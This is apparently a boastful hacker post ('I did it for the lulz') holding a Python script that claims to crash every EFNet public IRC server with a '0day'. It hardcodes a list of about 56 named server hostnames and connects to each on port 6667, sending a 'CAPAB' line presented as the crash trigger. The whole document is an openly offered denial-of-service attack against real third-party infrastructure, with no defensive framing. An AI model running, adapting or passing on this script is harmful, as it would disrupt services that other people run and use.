I did it for the lulz.

#!/usr/bin/env python
# lolz.py - generates great lolz by taking down EVERY EFNET PUBLIC CLIENT SERVER using a simple 0day!!!
# If new servers come, add them to the list, it's easy.
# "I did it for the lulz"

import socket

f =    ['irc.servercentral.net',
        'irc.paraphysics.net',
        'efnet.xs4all.nl',
        'irc.Prison.NET',
        'irc.inet.tele.dk',
        'irc.eversible.com',
        'irc.choopa.net',
        'irc.colosolutions.net',
        'irc.efnet.pl',
        'irc.homelien.no',
        'irc.mzima.net',
        'irc.umich.edu',
        'irc.igs.ca',
        'irc.underworld.no',
        'efnet.portlane.se',
        'irc.arcti.ca',
        'irc.shoutcast.com',
        'irc.swepipe.se',
        'irc.du.se',
        'irc.ac.za',
        'irc.efnet.ch',
        'irc.efnet.fr',
        'irc2.choopa.net',
        'chat.efnet.org',
        'irc.inter.net.il',
        'ircd.choopa.net',
        'irc.pte.hu',
        'irc.teksavvy.ca',
        'efnet.bredband2.se',
        'irc.ipv6.he.net',
        'efnet.port80.se',
        'ssl.pte.hu',
        'efnet.multiplay.co.uk',
        'irc.chowned.org',
        'irc.choopa.ca',
        'ssl.efnet.ch',
        'irc.vel.net',
        'irc.Blackened.COM',
        'ircd.efnet.no',
        'irc.wh.verio.net',
        'efnet.ipv6.xs4all.nl',
        'irc.mindspring.com',
        'efnet.demon.co.uk',
        'irc.efnet.nl',
        'ircd.lagged.org',
        'irc.blessed.net',
        'ircd.llnw.net',
        'efnet.teleglobe.net',
        'ircd.nac.net',
        'ircd.he.net',
        'ircd.arcti.ca',
        'irc.he.net',
        'irc.dks.ca',
        'irc.efnet.ru',
        'irc.easynews.com',
        'efnet.cs.hut.fi', ]

for x in f:
    x = x.strip('\n')
    try:
        s = socket.socket()
        s.connect((x, 6667))
        s.send(b"CAPAB \r\n")
    except Exception as e:
        print("couldn't do it to", x, str(e))